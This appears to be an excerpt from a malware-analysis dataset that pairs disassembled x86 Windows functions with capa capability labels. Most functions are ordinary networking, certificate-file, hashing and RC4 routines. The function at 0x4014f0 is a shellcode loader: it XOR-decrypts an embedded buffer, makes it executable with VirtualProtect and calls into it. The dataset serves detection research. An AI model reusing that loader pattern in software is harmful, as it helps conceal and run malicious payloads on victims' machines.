joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004b1f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x1006b400]
xor eax, esp
mov dword [esp + 0x100], eax
mov ecx, dword [esp + 0x10c]
push ebx
mov ebx, dword [esp + 0x10c]
push ebp
push esi
push edi
mov eax, dword [ebx]
mov edi, dword [esp + 0x124]
push 0
push dword [esp + 0x124]
mov ebp, dword [eax + 8]
push ecx
mov dword [edi], 0
push dword [ebp + 0x98]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1004b290
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x1004b25d
mov dword [edi], 0x51
jmp 0x1004b28d
push 0x100
lea eax, [esp + 0x14]
push eax
push esi
call fcn.10002d10
push eax
push str.Recv_failure:__s
push dword [ebx + 4]
call fcn.100181f0
mov eax, dword [ebx + 4]
add esp, 0x18
mov dword [eax + 0x8d8], esi
mov dword [edi], 0x38
or esi, 0xffffffff
push dword [edi]
push esi
push dword [ebp + 0x98]
push dword [esp + 0x12c]
push str.nw_in_read_len_zu__fd_d______d__err_d
push dword [ebx]
push dword [ebx + 4]
call fcn.10018390
mov ecx, dword [esp + 0x12c]
add esp, 0x1c
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10058150
add esp, 0x104
ret

Function at 0x1004b2d0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x188
mov eax, dword [0x1006b400]
xor eax, esp
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x18c]
push ebx
mov ebx, dword [esp + 0x194]
push esi
mov esi, dword [eax + 8]
mov eax, dword [ebx + 0x18]
mov eax, dword [eax + 0x260]
test dword [eax + 0x44], 0x800
jne 0x1004b3fd
push 0x80
lea eax, [esp + 0x10]
mov dword [esp + 0xc], 0x80
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi + 0x98]
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1004b38a
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
lea eax, [esp + 0x8c]
push 0x100
push eax
push esi
call fcn.10002d10
push eax
push esi
push str.getsockname___failed_with_errno__d:__s
push ebx
call fcn.100181f0
add esp, 0x1c
mov eax, 2
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.10058150
add esp, 0x188
ret
lea eax, [esi + 0x11c]
push eax
lea eax, [esi + 0xea]
push eax
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
call fcn.1001a630
add esp, 0x10
test al, al
jne 0x1004b3fd
push edi
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov esi, dword [eax]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__errno
mov edi, eax
lea eax, [esp + 0x90]
push 0x100
push eax
push esi
call fcn.10002d10
push eax
push dword [edi]
push str.ssloc_inet_ntop___failed_with_errno__d:__s
push ebx
call fcn.100181f0
add esp, 0x1c
mov eax, 2
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x184]
xor ecx, esp
call fcn.10058150
add esp, 0x188
ret
mov ecx, dword [esp + 0x18c]
xor eax, eax
pop esi
pop ebx
xor ecx, esp
call fcn.10058150
add esp, 0x188
ret
Function at 0x10050a50
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x120
mov eax, dword [0x1006b400]
xor eax, esp
mov dword [esp + 0x11c], eax
mov eax, dword [esp + 0x124]
push ebx
push ebp
mov ebp, dword [esp + 0x134]
xor ebx, ebx
push esi
push edi
mov edi, dword [esp + 0x138]
xor esi, esi
push edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call fcn.1002a9b0
add esp, 4
mov dword [esp + 0x20], eax
test eax, eax
jne 0x10050acf
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10002e00
push eax
push edi
push str.schannel:_invalid_path_name_for_CA_file__s:__s
push ebp
call fcn.100181f0
push esi
call dword [0x1006b004]
add esp, 0x20
lea eax, [ebx + 0x4d]
jmp 0x10050c2f
push 0
push 0x80
push 3
push 0
push 1
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
jne 0x10050b29
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10002e00
push eax
push edi
push str.schannel:_failed_to_open_CA_file__s:__s
push ebp
call fcn.100181f0
push 0
mov esi, 0x4d
call dword [0x1006b004]
add esp, 0x20
jmp 0x10050c21
lea ecx, [esp + 0x24]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x10050b69
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10002e00
push eax
push edi
push str.schannel:_failed_to_determine_size_of_CA_file__s:__s
push ebp
call fcn.100181f0
add esp, 0x1c
mov esi, 0x4d
jmp 0x10050c0d
mov edi, dword [esp + 0x24]
cmp dword [esp + 0x28], ebx
jl 0x10050b97
jg 0x10050b7d
cmp edi, 0x100000
jbe 0x10050b97
push 0x100000
push str.schannel:_CA_file_exceeds_max_size_of__u_bytes
push ebp
call fcn.100181f0
add esp, 0xc
mov esi, 0x4d
jmp 0x10050c0d
lea eax, [edi + 1]
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10050baf
lea esi, [eax + 0x1b]
jmp 0x10050c0d
test edi, edi
je 0x10050bf4
nop dword [eax]
nop word [eax + eax]
push 0
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
mov eax, edi
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10050c4c
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10050c48
add esi, eax
cmp esi, edi
jb 0x10050bc0
push ebp
push dword [esp + 0x18]
mov byte [edi + ebx], 0
push edi
push ebx
push dword [esp + 0x2c]
call fcn.10050850
add esp, 0x14
mov esi, eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [0x1006b004]
add esp, 4
push dword [esp + 0x20]
call fcn.10059382
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x12c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10058150
add esp, 0x120
ret
mov edi, esi
jmp 0x10050bf4
push 0x100
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.10002e00
push eax
push dword [esp + 0x24]
push str.schannel:_failed_to_read_from_CA_file__s:__s
push ebp
call fcn.100181f0
add esp, 0x1c
mov esi, 0x4d
jmp 0x10050c0d
Function at 0x10056f70
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [section..data]
mov esi, eax
add esp, 4
test esi, esi
jne 0x10056f9b
pop esi
pop ebp
add esp, 0xc
ret
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x24]
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x10056fea
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [edi]
push ebx
push dword [esp + 0x2c]
push dword [esi + 4]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x28], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov ebx, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x28], ebx
jmp 0x10056ff2
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x30]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10057066
mov ebp, dword [esp + 0x14]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x10057020
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x10057095
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x100680d5
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x100680d6
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x10057070
pop edi
pop ebx
mov eax, esi
pop esi
pop ebp
add esp, 0xc
ret
Function at 0x100570a0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.1001b640
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [section..data]
mov esi, eax
add esp, 8
test esi, esi
je 0x10057222
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x10057122
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x10057196
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x10057150
mov ebp, dword [esp + 0x20]
mov ebx, dword [esp + 0x18]
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jae 0x100571c5
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x100680d5
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x100680d6
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x100571a0
push dword [esp + 0x30]
call fcn.1001b640
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x100571f0
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x1006b004]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x100572f0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
lea eax, [esp + 4]
push 0xf0000040
push 0x18
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10057316
mov eax, 0x1b
add esp, 0xc
ret
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1005734e
push eax
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esp + 4], 0
mov eax, 2
add esp, 0xc
ret
push dword [esp + 0x18]
call fcn.1001b640
add esp, 4
push 0
push eax
push dword [esp + 0x1c]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 4]
mov dword [esp + 4], 0
push eax
push 0
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
cmp dword [esp], 0x20
jne 0x100573a5
push 0
lea eax, [esp + 4]
push eax
push dword [esp + 0x18]
push 2
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov eax, dword [esp + 8]
test eax, eax
je 0x100573b4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, dword [esp + 4]
test ecx, ecx
je 0x100573c5
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
add esp, 0xc
ret
Function at 0x10058000
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
mov edi, dword [esp + 0x14]
xor esi, esi
test edi, edi
je 0x1005804b
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x10058011
pop edi
pop esi
pop ebx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x42e054], 1
mov dword [0x42e050], 1
mov dword [0x42e04c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x42e00c], eax
mov eax, dword [0x42e060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x42e074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x42e05c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x42bdd4], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push esi
push ebx
push ecx
sub esp, 0x9c
call dbg.__main
movdqu xmm0, xmmword [str.jlI_LPG1hSjrjKa2t8c9U7o_dzn__LyIm9_._:5O_f_k5_l7V.ljNqKP_L6rZX4XBwP1yk35__Pw_JN8pqUIzKP]
movups xmmword [ebp - 0x85], xmm0
movdqu xmm0, xmmword [0x42c070]
movups xmmword [ebp - 0x75], xmm0
movdqu xmm0, xmmword [0x42c080]
movups xmmword [ebp - 0x65], xmm0
movdqu xmm0, xmmword [0x42c090]
movups xmmword [ebp - 0x55], xmm0
movdqu xmm0, xmmword [0x42c0a0]
movups xmmword [ebp - 0x45], xmm0
movdqu xmm0, xmmword [0x42c0b0]
movups xmmword [ebp - 0x35], xmm0
mov dword [ebp - 0x28], 0x53264b7a
mov dword [ebp - 0x24], 0x743b77
mov dword [ebp - 0x1c], 0
jmp 0x4015b4
mov eax, dword [ebp - 0x1c]
add eax, 0x403020
movzx eax, byte [eax]
mov esi, eax
mov ebx, dword [ebp - 0x1c]
lea eax, [ebp - 0x85]
mov dword [esp], eax
call sym._strlen
mov ecx, eax
mov eax, ebx
mov edx, 0
div ecx
mov ecx, edx
mov eax, ecx
movzx eax, byte [ebp + eax - 0x85]
xor eax, esi
mov edx, eax
mov eax, dword [ebp - 0x1c]
add eax, 0x403020
mov byte [eax], dl
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, 0x28d97
jbe 0x40156d
mov dword [esp], 0x28d98
call sym.operator_new___unsigned_int_
mov dword [ebp - 0x20], eax
mov dword [esp + 8], 0x28d98
mov dword [esp + 4], 0x403020
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memcpy
lea eax, [ebp - 0x8c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], 0x28d98
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x20]
call eax
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop esi
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x4018a0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401900
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x42e068]
test esi, esi
jle 0x401a20
mov eax, dword [0x42e06c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401934
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4019b7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401920
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401a47
mov eax, dword [0x42e06c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x42e06c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a27
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x4019b0
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x4019c0
add dword [0x42e068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x42e06c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4019b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40193e
mov eax, dword [0x42e06c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x401f60
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x42e084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x42e07c]
sub esp, 4
test ebx, ebx
je 0x401fb5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x401fae
test eax, eax
jne 0x401fae
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f90
mov dword [esp], 0x42e084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4022f0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x402315
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x402320
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x402315
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402368
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40235e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40236a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x402350
xor eax, eax
pop ebx
pop esi
ret
Function at 0x41e040
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x506c18]
xor edx, edx
cmp eax, edx
jne 0x41e066
xor eax, eax
mov byte [eax + 0x506b18], al
inc eax
cmp eax, 0x100
jl 0x41e04e
mov dword [0x506c18], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x506b18
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41e0f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41e0ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41e098
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41e170
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41e1c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41e1aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret